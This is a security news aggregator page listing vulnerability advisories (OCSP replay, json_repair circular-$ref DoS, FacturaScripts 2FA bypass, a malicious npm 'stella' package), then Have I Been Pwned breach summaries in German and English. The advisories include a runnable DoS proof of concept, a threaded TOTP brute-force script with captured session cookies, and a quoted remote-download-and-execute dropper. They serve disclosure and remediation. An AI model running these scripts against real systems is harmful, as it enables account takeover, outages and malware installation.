https://www.kimai.org/en/security/ghsa-pgcc-vfmc-7cw5
Risiko 5 / 10 GHSA-8f6j-263m-g72x vor 1 Stunde(n)
### Summary `SignedDataVerifier` attempts to perform online revocation checking when `enable_online_checks=True`, but its OCSP validation logic accepts stale `GOOD` responses as valid indefinitely. In `appstoreserverlibrary/signed_data_verifier.py`, `_ChainVerifier.check_ocsp_status()` verifies the OCSP response signature and CertID match, but never validates the freshness window carried by `producedAt`, `thisUpdate`, or `nextUpdate`. As a result, a previously valid signed OCSP `GOOD` response can be replayed after it is expired, and the library will still treat the certificate as good. If an App Store signing certificate or intermediate is ever revoked, applications using this library with online checks enabled can continue accepting JWS objects signed with the revoked key as long as a stale signed OCSP response is replayed.
Risiko 7.5 / 10 GHSA-xf7x-x43h-rpqh vor 1 Stunde(n)
## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair` ### Summary `SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High). ### Details `SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop: ```python # src/json_repair/schema_repair.py:184-190 schema_dict = cast("dict[str, Any]", schema) while "$ref" in schema_dict: ref = schema_dict["$ref"] resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved ``` `_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as: ```json {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} ``` `_resolve_ref()` returns the same `dict` object on every iteration, so `"$ref" in schema_dict` is always `True` and the loop never terminates. The vulnerable sink is reachable without authentication through the demo Flask API: ```python # docs/app.py:14, 21-36 data = request.get_json() schema = data.get("schema") if schema is not None and not isinstance(schema, (dict, bool)): raise ValueError("schema must be a JSON object or boolean.") ... if schema is not None: loads_kwargs["schema"] = schema parsed_json = loads(malformed_json, **loads_kwargs) ``` The only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is: 1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body. 2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied. 3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`. 4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`. 5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop. 6. `src/json_repair/schema_repair.py:184–190` — unbounded `while "$ref" in schema_dict` loop (sink). 7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call. **Recommended fix:** ```diff --- a/src/json_repair/schema_repair.py +++ b/src/json_repair/schema_repair.py def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool: ... - schema_dict = cast("dict[str, Any]", schema) + schema_dict = cast("dict[str, Any]", schema) + seen_schema_ids: set[int] = set() while "$ref" in schema_dict: ref = schema_dict["$ref"] + if not isinstance(ref, str): + raise SchemaDefinitionError("$ref must be a string.") + schema_id = id(schema_dict) + if schema_id in seen_schema_ids: + raise SchemaDefinitionError(f"Circular $ref detected: {ref}") + seen_schema_ids.add(schema_id) resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved return schema_dict ``` ### PoC **Environment setup:** ```bash # Clone the affected version git clone https://github.com/mangiucugna/json_repair.git git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7 # Install dependencies pip install flask flask-cors jsonschema pydantic pip install -e json_repair/ # Start the demo API PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005 ``` **Alternatively, use the provided Docker image:** ```dockerfile FROM python:3.11-slim WORKDIR /app COPY repo/ /app/repo/ RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \ pip install --no-cache-dir -e /app/repo/ COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` ```bash docker build -t vuln001-json-repair -f vuln-001/Dockerfile . docker run --rm vuln001-json-repair ``` **HTTP attack request (demo API):** ```bash timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \ -H 'Content-Type: application/json' \ --data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}' # Expected: no response before timeout; curl exits with code 124 ``` **Direct library attack:** ```bash timeout 5 python3 - <<'PY' from json_repair import loads schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} print(loads("{}", schema=schema)) PY # Expected: process killed after 5 s; exit code 124 ``` **Observed results (from Docker-based dynamic reproduction):** - Baseline (valid schema `{"type":"object","properties":{"name":{"type":"string"}}}`): completed in **0.261 s**. - Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed. ### Impact This is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner. Beyond the demo API, any application that exposes `json_repair.loads(..., schema=)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim WORKDIR /app # Copy the vulnerable json_repair repository (build context is the report root) COPY repo/ /app/repo/ # Install Flask demo API dependencies and schema extras RUN pip install --no-cache-dir \ flask \ flask-cors \ jsonschema \ pydantic && \ pip install --no-cache-dir -e /app/repo/ # Copy the proof-of-concept script COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS CWE-835 — Loop with Unreachable Exit Condition Affected: json_repair <= 0.59.10 (commit 0015c74) Sink: src/json_repair/schema_repair.py:185 SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection. Attack schema: {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} When passed to loads(..., schema=), resolve_schema() enters an infinite loop because _resolve_ref() always returns the same dict object from root_schema. Verdict logic: - Baseline (valid schema) must complete in < TIMEOUT seconds. - Attack (circular $ref) must still be running at TIMEOUT seconds. Both conditions together constitute deterministic proof of the vulnerability. """ import os import subprocess import sys import tempfile import time # Seconds to wait before declaring the attack confirmed (infinite loop) TIMEOUT_SECONDS = 5 CIRCULAR_SCHEMA = { "$ref": "#/definitions/a", "definitions": { "a": {"$ref": "#/definitions/a"} } } NORMAL_SCHEMA = { "type": "object", "properties": { "name": {"type": "string"} } } _RUNNER_TEMPLATE = """\ import sys sys.path.insert(0, '/app/repo/src') from json_repair import loads schema = {schema_repr} result = loads('{{}}', schema=schema) print(result) """ def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]: """ Run json_repair loads() with the given schema in an isolated subprocess. Returns: timed_out (bool): True if the process was still running at `timeout` seconds. elapsed (float): Wall-clock seconds until completion or kill. output (str): stdout/stderr excerpt. """ script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema)) with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh: fh.write(script_content) script_path = fh.name start = time.monotonic() try: proc = subprocess.run( [sys.executable, script_path], timeout=timeout, capture_output=True, text=True, ) elapsed = time.monotonic() - start output = (proc.stdout.strip() or proc.stderr.strip())[:400] return False, elapsed, output except subprocess.TimeoutExpired: elapsed = time.monotonic() - start return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]" finally: os.unlink(script_path) def main() -> int: print("=" * 64) print("VULN-001 PoC: Circular $ref JSON Schema DoS") print("json_repair SchemaRepairer.resolve_schema() — CWE-835") print("=" * 64) # --- Test 1: baseline (must complete quickly) --- print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)") timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test( NORMAL_SCHEMA, TIMEOUT_SECONDS ) if timed_out_baseline: print(f" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue") baseline_ok = False else: print(f" COMPLETED in {elapsed_baseline:.3f}s -> {output_baseline}") baseline_ok = True # --- Test 2: circular $ref attack (must time out) --- print( f"\n[TEST 2] Attack — circular $ref schema" f" (expect hang > {TIMEOUT_SECONDS}s)" ) print(f" Schema: {CIRCULAR_SCHEMA}") timed_out_attack, elapsed_attack, output_attack = run_schema_test( CIRCULAR_SCHEMA, TIMEOUT_SECONDS ) if timed_out_attack: print( f" TIMED OUT after {elapsed_attack:.2f}s " f"— infinite loop CONFIRMED (VULNERABLE)" ) attack_confirmed = True else: print( f" Completed in {elapsed_attack:.3f}s -> {output_attack}" f"\n (patched or not triggered — check installation)" ) attack_confirmed = False # --- Summary --- print("\n" + "=" * 64) if baseline_ok and attack_confirmed: print("VERDICT: PASS") print(" Normal schema : returned in under 1 s") print(f" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)") print(" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.") return 0 elif not attack_confirmed: print("VERDICT: FAIL — circular $ref did not cause an infinite loop") print(" The library may already be patched in this build.") return 2 else: print("VERDICT: FAIL — baseline test failed; check the environment") return 3 if __name__ == "__main__": sys.exit(main()) ```
Risiko 9.5 / 10 CVE-2026-47677 vor 2 Stunde(n)
# Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection ## Summary `Core/Controller/Login.php::twoFactorValidationAction()` accepts an unauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the TOTP value matches, the server issues a full `fsNick` + `fsLogkey` session cookie pair. The handler: 1. **Does not verify the password** — the user is not required to have just completed `loginAction`. 2. **Does not call `validateFormToken()`** — no CSRF token is required (every other action handler in the same file does call it). 3. **Does not call `userHasManyIncidents()` before processing** — `loginAction` and `changePasswordAction` both check this guard *before* doing work; the 2FA handler only writes to the incident list *after* a failure, and the incident list is consulted by `loginAction` / `changePasswordAction` but not by the 2FA handler itself. The endpoint therefore has **no rate-limiting at all**. Combined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is > N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ **40 800** attempts (50% success) On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account. The vulnerability gives **complete account takeover** of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (`admin`, the company name, the person's initials). ## Severity **CVSS 4.0 base score: 9.3 — Critical** Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N` | Metric | Value | Rationale | |---|---|---| | Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. | | Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. | | Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. | | Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. | | User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. | | Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). | | Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. | | Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. | | Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. | Threat metrics: - Exploit Maturity (E): **Attacked (A)** — public PoC included below, runs out of the box. ## Affected component - File: `Core/Controller/Login.php` - Method: `twoFactorValidationAction()` (lines 317–328 in the repository at commit `7392b489b`, master branch as of 2026-05-13). - Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`). Vulnerable code: ```php protected function twoFactorValidationAction(Request $request): void { $userName = $request->input('fsNick'); $user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); } ``` Compare with `loginAction` in the same file, which calls `validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287) *before* doing any work. The 2FA handler does neither. ## Proof of concept ### 1. Brute force when only the victim's nick is known This requires **no prior knowledge** beyond the target's nick. Because the 2FA endpoint has no rate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP. `poc_2fa_brute.py`: ```python #!/usr/bin/env python3 """ PoC: brute-force the 2FA endpoint. Required: pip install requests """ import os, sys, time, random, threading, requests BASE = os.environ.get("BASE", "http://localhost:9999") NICK = os.environ.get("NICK", "admin") THREADS = int(os.environ.get("THREADS", "32")) MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000")) hit = threading.Event() attempt_count = [0] lock = threading.Lock() start = time.time() result = {} def worker(tid: int) -> None: s = requests.Session() while not hit.is_set(): with lock: n = attempt_count[0] if n >= MAX_TRIES: return attempt_count[0] += 1 code = f"{random.randint(0, 999999):06d}" try: r = s.post(f"{BASE}/login", data={"action": "two-factor-validation", "fsNick": NICK, "fsTwoFactorCode": code}, allow_redirects=False, timeout=5) except requests.RequestException: continue sc = r.headers.get("Set-Cookie", "") if r.status_code == 302 and "fsLogkey" in sc: with lock: if hit.is_set(): return hit.set() result["code"] = code result["n"] = n result["cookies"] = {c.name: c.value for c in r.cookies} return def main() -> int: print(f"[*] target={BASE} nick={NICK} threads={THREADS}") threads = [threading.Thread(target=worker, args=(i,), daemon=True) for i in range(THREADS)] for t in threads: t.start() while not hit.is_set() and attempt_count[0] < MAX_TRIES: time.sleep(2) elapsed = time.time() - start print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} " f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True) for t in threads: t.join() elapsed = time.time() - start if hit.is_set(): print(f"\n[+] FOUND code={result['code']} after {result['n']:,} " f"attempts in {elapsed:.1f}s") cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items()) print(f"[+] Cookies: {cookie_hdr}") print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser") return 0 print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit") return 1 if __name__ == "__main__": sys.exit(main()) ``` Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick `victim`): ``` [*] target=http://localhost:9999 nick=victim threads=32 [ 2.2s] attempts= 1094 rps= 493 [ 24.4s] attempts= 11535 rps= 473 [ 50.0s] attempts= 23420 rps= 468 [100.7s] attempts= 41247 rps= 410 [144.9s] attempts= 55418 rps= 383 [+] FOUND code=055473 after 55,773 attempts in 146.0s [+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN ``` A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts. ## Impact For each 2FA-enabled user (including admins): - **Confidentiality**: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration. - **Integrity**: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, install code (admin). - **Availability**: targeted account lockout DoS — generating six failed 2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past `MAX_INCIDENT_COUNT = 6`, blocking the legitimate user from `loginAction` for 10 minutes. Repeatable indefinitely. The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly *weaker* than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before. ## Remediation Four independent fixes are required; each closes a distinct gap and any one alone is insufficient. 1. **Require evidence the user just completed the password step.** In `loginAction`, after `verifyPassword` succeeds and 2FA is required, write a short-lived nonce keyed by `(client_ip, user_nick)` to the shared cache (e.g. `Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)`). `twoFactorValidationAction` must read, validate, and delete that nonce before calling `verifyTwoFactorCode`. Without the nonce, return immediately. 2. **Call `validateFormToken($request)` at the top of `twoFactorValidationAction`.** Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions. 3. **Call `userHasManyIncidents(Session::getClientIp(), $userName)` before doing any work in `twoFactorValidationAction`**, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check. 4. **Reduce `TwoFactorManager::VERIFICATION_WINDOW` from 8 to 1.** The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step. Suggested patch (illustrative): ```php // Core/Controller/Login.php protected function twoFactorValidationAction(Request $request): void { if (false === $this->validateFormToken($request)) { // fix 2 return; } $userName = $request->input('fsNick'); if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3 Tools::log()->warning('ip-banned'); return; } $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName; if (false === Cache::get($nonceKey)) { // fix 1 Tools::log()->warning('two-factor-no-pending-login'); $this->saveIncident(Session::getClientIp(), $userName); return; } Cache::delete($nonceKey); $user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); } // Core/Lib/TwoFactorManager.php private const VERIFICATION_WINDOW = 1; // fix 4 — was 8 ``` `loginAction` then needs the matching nonce write where it currently sets `$this->two_factor_user`: ```php if ($user->two_factor_enabled) { Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick, bin2hex(random_bytes(16)), 300); $this->two_factor_user = $user->nick; $this->template = 'Login/TwoFactor.html.twig'; return; } ``` ## Reproduction Tested on a clean install built from `master` at commit `7392b489b`: ```bash # brute force (only nick known) — secret on the server can be anything NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py ```
Risiko ? / 10 MAL-2026-10133 vor 2 Stunde(n)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (936d3c8bc6611b58f5321ba5aab651bb3d2db821d172816283ca04633be00863) The `stella` CLI shipped in bin/stella.js prompts users for their phone number and the WhatsApp verification code and POSTs both to a hardcoded bare-IP plain-HTTP endpoint at http://62.238.2.22:8787 (paths /api/v1/auth/register/register and /verify). Subsequent chat input is sent to the same host. There is no disclosure that authentication credentials leave the user's machine to an anonymous IPv4 address unrelated to the advertised homepage stella-ai.app. In addition, bin/postinstall.js and install.bat implement a dropper flow that downloads stella-latest.tar.gz from the same bare-IP plain-HTTP endpoint, extracts it under ~/.stella, installs the Bun runtime via `curl -fsSL https://bun.sh/install | bash`, and executes the fetched contents; the Windows bootstrap pipes http://62.238.2.22:8787/install.ps1 directly into `iex`. The download URL is mutable, unpinned, unverified, and served over cleartext from an anonymous IPv4 address, so whatever bytes the endpoint currently serves execute with the user's privileges. Package metadata reinforces the mismatch: homepage stella-ai.app, repository github.com/anomalyco/opencode, operational endpoint a raw IPv4. ## Source: ghsa-malware (042a564970d9ea4747ece2d03fa02b3acf2085e515df00bf24153eeac0c698d7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.


Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.

18.06.2026 - Operation Endgame 4.0 4.160.519 Datensätze geleaked
Email addresses, Passwords

On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords recovered during the operation. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation targeted by Operation Endgame were provided to HIBP, bringing the total to almost 4.2M unique email addresses.
15.06.2026 - Glendale Community College 793.925 Datensätze geleaked
Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses

In June 2026, Glendale Community College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice, the college advised that "the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information".
15.06.2026 - June 2026 Stealer Logs 56.278.397 Datensätze geleaked
Email addresses, Passwords

In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API.
15.06.2026 - Moody Bible Institute 2.303.416 Datensätze geleaked
Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses

In June 2026, Moody Bible Institute was targeted by a ShinyHunters "pay or leak" extortion campaign. Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice, Moody advised that they had "engaged both internal and external cybersecurity experts to thoroughly investigate the matter".
15.06.2026 - Sysco 2.691.852 Datensätze geleaked
Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames

In June 2026, the food distribution company Sysco was targeted by a ShinyHunters "pay or leak" extortion campaign. Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback.
12.06.2026 - American Tower 216.601 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers.
12.06.2026 - JCPenney 368.418 Datensätze geleaked
Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames

In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses.
11.06.2026 - Ralph Lauren 139.903 Datensätze geleaked
Age groups, Email addresses, Genders, Names, Phone numbers

In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups.
09.06.2026 - University of Nottingham 454.635 Datensätze geleaked
Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames

In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni".
05.06.2026 - Madison Square Garden Sports 9.796.738 Datensätze geleaked
Customer service records, Email addresses, Names, Phone numbers, Physical addresses

In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information.
30.05.2026 - Atlas Menu 63.926 Datensätze geleaked
Email addresses, IP addresses, Passwords, Support tickets, Usernames

In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes.
29.05.2026 - BCD Travel 396.313 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets.
23.05.2026 - Baker Distributing 102.935 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity.
23.05.2026 - Charter 4.851.517 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated.
23.05.2026 - DentaQuest 2.553.599 Datensätze geleaked
Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses

In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat.
05.05.2026 - Cushman & Wakefield 310.431 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations

In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers.
30.04.2026 - Reborn Gaming 126 Datensätze geleaked
Email addresses, IP addresses

In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned.
28.04.2026 - Vimeo 119.167 Datensätze geleaked
Email addresses, Names

In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information".
26.04.2026 - CTT 468.124 Datensätze geleaked
Email addresses, Names, Phone numbers

In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel.
24.04.2026 - Udemy 1.401.259 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses

In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer.
20.04.2026 - ADT 5.488.888 Datensätze geleaked
Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses

